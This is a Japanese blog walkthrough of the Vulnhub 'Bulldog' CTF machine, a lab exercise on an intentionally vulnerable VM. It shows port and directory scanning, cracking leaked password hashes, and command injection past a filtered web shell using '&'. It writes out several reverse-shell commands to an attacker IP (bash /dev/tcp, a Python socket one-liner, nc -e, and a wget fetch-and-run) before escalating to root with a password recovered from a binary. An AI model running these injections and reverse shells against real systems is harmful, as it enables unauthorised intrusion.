banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

ブルドッグ-Vulnhub ウォークスルー

靶机地址

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • linux 逆シェル
  • wget ファイルダウンロード
  • linux の string コマンド
  • sudo -l ユーザーが実行可能なコマンドを表示

** 一部のツールの使い方と詳細な説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub Walkthrough **

0x00 情報収集#

ターゲットマシンのスキャン情報#

netdiscover-rパラメータで192.168.1.0/16をスキャンした結果は以下の通りです:

image

nmapでホストとポート情報をスキャン:

nmap -sS -A -n -T4 -p- 192.168.1.158

image

WSGI:正式名称は Web Server Gateway Interface で、WSGI はサーバー、python モジュール、フレームワーク、API、またはその他のソフトウェアではなく、webserver が web application と通信する方法を記述する規範です。

パスのスキャン#

dirbでパスをスキャン:

dirb http://192.168.1.158

image

dirsearchでスキャンした結果はdirbの全てを含んでいないようです。もちろん辞書の問題もあるかもしれません。

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobusterのスキャンもあまり効果的ではありません:

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

パスへのアクセス#

/adminディレクトリはdjangoの管理者ログイン画面で、一般的な弱いパスワードは通用しません。

image

/dev画面にはいくつかの開発者のメールアドレスがあり、全て会社のメールを使用しています。

image

ウェブページのソースコードを確認すると、いくつかのユーザーのパスワードハッシュ値が見えます:

image

よく使われる解読サイトcmd5somd5で解読します。

また、海外のバッチハッシュクラックサイトhashkillerも使用できます。

ただし、このサイトはグローバルを有効にする必要があります、あなたは理解していますよね。

image

解読されたアカウントとパスワードのペアは:nick/bulldogsara/bulldogloverです。

非常に明らかなweb-shellボタンはdev/shellにリダイレクトされます。

しかし、画面には認証が必要と表示されています:

image

ここではまだ記事を書くことはできません。

0x01 シェルを取得#

ディレクトリの基本的なアクセスが完了したので、解読したアカウントとパスワードを使用して/admin管理者画面にログインを試みます。

2 つのアカウントとパスワードのペアでログインした後の画面は、何も編集する権限がないと表示されます。

image

手がかりがないように見えますが、元々認証が必要と表示されていた/dev/shell画面に再度アクセスすると、

それは静かに変化していました。

image

ページの指示に従って、リストされた数コマンドのみを実行できます。

しかし、& を使用して複数のコマンドを結合することができるので、制限を回避できます。

次に、kali上でリスニングを開始し、いくつかの一般的なshell逆シェルの方法を試みます。

nc -lvp 4444
  1. bashを使用した逆シェル
pwd&bash -i >& /dev/tcp/192.168.1.6/4444 0>&1

bash -i はインタラクティブな bash 環境を生成します。
0>&1 は標準入力と標準出力を結合し、前の標準出力にリダイレクトします。

実際には逆シェルは成功しませんでした。

  1. pythonを使用した逆シェル

一行のpythonshellを起動しようとします:

pwd&python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

以下のようなメッセージが表示されます:

image

INVALID COMMAND. I CAUGHT YOU HACKER! ';' CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!

;がフィルタリングされており、インタラクティブな場所でコマンドを直接実行できません。そこで、スクリプトに入れます。

python -c "import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);"

これをpython-shell.pyとして保存し、apache2のデフォルトディレクトリ/var/www/htmlに移動します。

apache2サービスを開始します:service apache2 start

image

web-shell画面で実行:

pwd&wget http://192.168.1.6/python-shell.py
pwd&python python-shell.py

私の実験でも成功しませんでしたが、他の人は成功しました。

  1. ncを使用した逆シェル(ターゲットマシンに nc が必要)
nc -e /bin/bash 192.168.1.6 4444
  1. echoを使用した逆シェル(成功)
echo 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1' | bash

image

0x02 root 権限の昇格#

home ディレクトリに bulldogadmin というディレクトリがあることがわかりましたので、まずこのディレクトリを確認します。結果として、lsコマンドを実行したときに何も見つかりませんでしたが、ls -aを実行すると、隠しフォルダが見つかりました。

image

私たちはこの.hiddenadmindirectoryフォルダに入り、コメントファイルを見つけました:

image

fileコマンドでこのユーザーファイルが何であるかを確認します:

image

ELFファイルであることがわかりました。ELFファイルは簡単に言うと、Linux の主要な実行可能ファイル形式です。

strings customPermissionAppを実行すると、多くの文字列が表示され、その中に私の注意を引く部分がありました:

GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

私たちのプログラムには、stringsコマンドで見つけたハードコーディングされたパスワードがあります。

H が行の終わりまたは何らかの端の部分であると仮定すると、私たちはパスワードSUPERultimatePASSWORDyouCANTgetを得ました。

大胆に推測すると、これはnoteに記載されているdjangoユーザーのパスワードです。

上記のスキャンで得た情報によると、sshポートは 23 にあるので、直接ssh接続します:

ssh -p 23 django@192.168.1.8

image

接続後、sudo surootユーザーに切り替え、djangoユーザーのパスワードだけで成功し、rootシェルを取得しました。

image

この記事はここで終了です。

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。